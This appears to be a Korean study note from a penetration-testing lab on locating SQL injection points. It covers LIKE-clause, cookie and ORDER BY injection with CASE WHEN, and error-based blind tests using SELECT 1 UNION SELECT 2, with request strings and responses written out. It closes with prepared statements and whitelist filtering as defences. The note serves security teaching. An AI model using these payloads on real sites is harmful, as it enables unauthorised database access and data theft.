이 SELECT 문을 어떻게 Union, Error Based, Blind 에 끼어 넣어서 추출하느냐, 그것에 따라서 3 가지 유형으로 나누어져 있었다.
SQL Injection Point 는 어디서 발생할까?



검색 데이터에 따라서 데이터가 오는지 확인한다.
search : oWHERER user_id like '%____%' and '1'
# 밑줄 친 곳에 테스트를 하려면 아래와 같이 맞출 것이다.
nor%' AND '1%'='1
이런 식의 query 로 만들어 질 예정이다.
이 두 개로 질의 했을 때 결과가 같다면, SQL 질의문을 주입 됬다고 판단 할 수 있다.
→ 여기 까지가 SQL Injection Point 를 찾는 방법.
하나씩 살펴보면
'% 가 있으므로 nor%' 로 하나 마무리 하고'1'='1' 로 True 를 만들어야 하는데 '%' 하나 있으므로AND '1%' = '1 로써 마무리 시킨다.payload
nor%' AND '1%'='1
따라서 full query 는
WHERE user_id like '%nor%' AND '1%' = '1%'
로 Query 가 짜여지게 된다. 이 결과가 nor 검색으로만 했을 때의 결과와 같다면, SQL Query 를 삽입했다 라고 판단을 할 수 있다.
mari 로 해보자.

GET /sqli_1/search.php?search=mari
<td>
<div class="widget-26-job-title">
<a href="#">mario</a>
</div>
</td>
<td>
<div class="widget-26-job-title">
<a href="#">17</a>
</div>
</td>
<td>
<div class="widget-26-job-title">
<a href="#">700</a>
</div>
</td>
<td>
<div class="widget-26-job-title">
<a href="#">23%</a>
</div>
</td>
WHERE user_id like '%mari%' AND '1%' = '1%'
mari%' AND '1%'='1GET /sqli_1/search.php?search=mari%'+AND+'1%'='1 HTTP/1.1<td>
<div class="widget-26-job-title">
<a href="#">mario</a>
</div>
</td>
<td>
<div class="widget-26-job-title">
<a href="#">17</a>
</div>
</td>
<td>
<div class="widget-26-job-title">
<a href="#">700</a>
</div>
</td>
<td>
<div class="widget-26-job-title">
<a href="#">23%</a>
</div>
</td> 
조건 성립.
Blind Injection
어디서나 일어난다. 참인 조건과 거짓 조건에 따라서 결과가 다르다.
True 조건

False 조건

참과 거짓이 명확하게 구분되어 조회 된다.
주소 와 어디 파라미터, 데이터에서 SQL Injection 이 일어나는지 찾아보자.
증거는 참 / 거짓 조건이 삽입 가능 하다라는 증거만 보여주면 된다.
SQL Injection 취약점에서 찾기 1.
주소와 어느 parameter, data 에서 SQL Injection 이 일어나는지 확인해보자.
SQL Injection 의 point 를 찾기 위해서는 DB 에서 데이터가 날아오는 곳에서 테스트.
WEB server 에서 어떤 sql 문을 사용하고 있는 가를 그려보자.
concat(0x3a, database()) 의 :database() char_length(database()) = 3 과 같은 database 길이의 쿼리는 로그인, 회원 가입에 필요가 없다.
SELECT ______ WHERE user='____' 이렇게 들어와서 user 에 데이터가 들어가서 데이터를 가져 왔고 응답 데이터가 존재.SELECT 문이 사용 될 것이고,
sessionid 에서 서버에 저장된 데이터를 가져와서 넣게 된다.
burp-suite 에서 확인, 쿠키 정보가 존자.
Cookie: user=asdqwe1; PHPSESSID=4mikb1nvq37jsolsstpi3jd8fs
user 를 사용해야 하는데, 어떻게 사용 되었을까? 를 생각해보자.
user='_____' 이므로, sfUser' and '1'='1 과 같은 응답 비교.
데이터 체크 확인
asdqwe1' and '1'='1일 때

asdqwe1' and '1'='2일 때


검색 기능 사용시 Title 이 test 가 있다. DB 에 게시판 정보들이 있는데, 화면에 list 를 뿌려주고 있다.

%F0%9F%94%8D 돋보기 아이콘.이런 parameter 들이 서버 측에 들어가서 어떻게 동작하는지 확인.
board_result 확인.
SELECT ~~~ WHERE LIKE '%____%'로 구성될 것이고,
test 와 test%' and '1%'='1 과 같이 비교를 해보고 결과가 같은지 다른지 보자.
→ 존재하지 않는다로 나와서, candidate 에서 제거.
option_value 를 확인.
SELECT ~~~ WHERE ______ LIKE '%asdqwe1%'
title 과 함께 조건을 넣기 위해서 SQL 문이 __ 에 알맞게 작성되어 들어가야 한다.
SELECT ~~~ WHERE title LIKE '%asdqwe1%' SELECT ~~~ WHERE '1'='1' and title LIKE '%asdqwe1%'뒷 부분을 맞춰서 '1'='1' 을 앞에 넣고 condition 넣을 공간을 만든다.
모의 해킹 서버에서 # 을 써버리면, 필요한 정보의 Query 를 날리게 된다. 실제 대형 사이트는 10줄, 20줄 짜리 SELECT 가 된다. 따라서 주석을 쓰는 것은 위험하다.
'1'='1' 의 참인 결과가 나왔다.option_val='1'='1'+and+title&board_result=test&board_search=%F0%9F%94%8D&date_from=&date_to=

'1'='2' 인 거짓 결과가 나왔다.option_val='1'='2'+and+title&board_result=test&board_search=%F0%9F%94%8D&date_from=&date_to=

⇒ SQL Injection Point 를 찾을 수 있다.
433'%09and%09'1'='1 일 때
433'%09and%09'1'='2일 때

option_val=username&board_result=asdqwe1&board_search=%F0%9F%94%8D&date_from=&date_to=&sort=titleWHERE username LIKE ‘%asdqwe1% ORDER BY titile
참/거짓 조건을 어떻게 ORDER BY 안에 넣을까?
case when
CASE WHEN (조건) THEN (참일때) ELSE (거짓일 때) END
CASE WHEN (1=2) THEN 1 ELSE 2 END
option_val=username&board_result=asdqwe1&board_search=%F0%9F%94%8D&date_from=&date_to=&sort=case when (1=1) then username else title end
이것만 가지고 SQL Injection 이 가능하다.
들어가고 있는 데이터가 order by 절에 들어가고 있다고 판단.
case when 이라는 문법을 사용할 수 있다.
참과 거짓을 분별할 수 있는 조건을 삽입할 수 있다. 참과 거짓 조건이 잘 활용되면, 데이터를 한 글자 씩 뽑아낼 수 있다.
option_val=username&board_result=d4r6j&board_search=%F0%9F%94%8D&date_from=&date_to=&sort=title
===
option_val=username
board_result=test
sort=title
# 내가 들어간 데이터가 ORDER BY 절에 들어간다고 추론한다고 생각하고 있다.
===
WHERE username like '%test%'
ORDER BY title
title 대신 1, 2

title 대신 999999

column index 를 넘어가게 된다.
참과 거짓 조건을 order by 에 어떻게 넣을까? case when
case when (조건) then (참일때) else (거짓일 때) end
case when (1=2) then 1 else 2 end
option_val=username&board_result=d4r6j&board_search=%F0%9F%94%8D&date_from=&date_to=&sort=case when (1=1) then username else title end
username 이 사용 되었을 때와 title 이 사용되었을 때의 결과가 다르다는 것을 확인 하였고 위와 같이 조건을 넣고 참일 때, 거짓일 때 조건을 넣는다. 즉, 참과 거짓을 분별할 수 있는 조건을 삽입할 수 있다고 판단할 수 있다.
→ 이것은 참과 거짓 조건이 잘 활용 되면 데이터를 한 글자 씩 뽑아낼 수 있다.
# column 명을 잘 모를 때가 있다. 그 때는 거짓일 때의 결과를 정확히 찝어줄 수 가 없다.
case when (1=1) then 1 else (error 를 유발하는 데이터) end
# string 이면 999999 도 가능하므로 문자열 정렬이 된다.
case when (1=1) then 1 else (9999999) end
case when (1=1) then 1 else (select 1 union select 2) end
case when select 1 union select 2 는
# 행이 1개가 나와야 하는데 2개가 나왔다.
(select 1 union select 2 where (1=1))
# 참이어서, matrix 가 나와서 오류.
# 거짓이어서, matrix 가 아닌 select 1 만 나와서 정상.
select 1, 2 가 같이 나오는 matrix 처럼 나오느냐의 조건은 where (1=1) 이 된다. 아니면 select 1 만 나오겠지.
일부로 error 로 유발을 해서 SQL Injection Point 를 찾는 곳이 있다.

마이 페이지에서 위와 같은 정보고 오고 있다는 것을 알았다.

Cookie: user=qweasd1; PHPSESSID=8g89pqpgvpjj9g6m21qi694h0u
쿠키에 데이터가 존재한다고 해서,
Cookie: user=qweasd1' and '1'='1; PHPSESSID=8g89pqpgvpjj9g6m21qi694h0u
'1'='1 (참 조건) 데이터가 나오게 된다.

'1'='2 (거짓 조건) 도 데이터가 나오게 되면서 Sql Injection point 가 아니게 된다.

작은 따옴표만 주었을 때는 DB Error 가 난다. 이것을 활용할 수 있다.

error 를 유발하는 코드를 삽입할 때 자주 쓰는 코드는 SELECT 1 UNION SELECT 2 WHERE (1=1) [ (1=2)] : 개인적으로 자주 사용하는 구문.
Blind SQL Injection 을 실전에 나가서 하면 ERROR 를 SQL Injection 에 어떤 쿼리를 넣어서 error 유발을 해야 하는데 (SELECT 1 UNION SELECT 2) 와 같은 구문을 사용한다.
(1=1) 참 일때 에러가 난다.
Cookie: user=qweasd1' and (SELECT 1 UNION SELECT 2 WHERE (1=1)) AND '1'='1; PHPSESSID=8g89pqpgvpjj9g6m21qi694h0u

(1=2) 거짓 일때는 에러가 나지 않는다.

실전에서 SQL Injection 이 될 것 같은데, Error 를 유발할 때 사용하는 구문
(SELECT 1 UNION SELECT 2)
참, 거짓 결과가 구분이 안되거나, error 를 유발해야 할 때 이런 구문을 사용한다.
SQL Injection Point 에서 가장 많이 쓰는 것.
실제로 order by 절 에서 SQL Injection 이 가장 많이 일어난다.
Prepared Statement
→ 일반적으로 SQL Query 문 자체가 변했었는데
SELECT ~~~ WHERE ID = '______'
→ SQL Query 를 미리 컴파일 한다는 내용.
Prepared Statement 를 사용하면 아래와 같이 구조가 변할 수가 없다.
1010100101____01010100100110
따라서 미리 컴파일 해두면, “Prepared Statement” 를 사용하면, 구조가 변할 수가 없다.
질의문이 바뀌지 않으므로 문자 그대로 받아들여진다.
White List Filtering
단어를 기반으로 어떤 글자를 제한 하는 것.
어떤 글자를 제한 하는 것.
blacklist : 특정 단어를 못 쓰게 하는 것.
whitelist : 특정 단어만 쓸 수 있게 하는 것.
if (sort == ''title') {
} elif (sort == 'author')
} else {
sort = 'title';
}
이런 식으로 white list를 사용.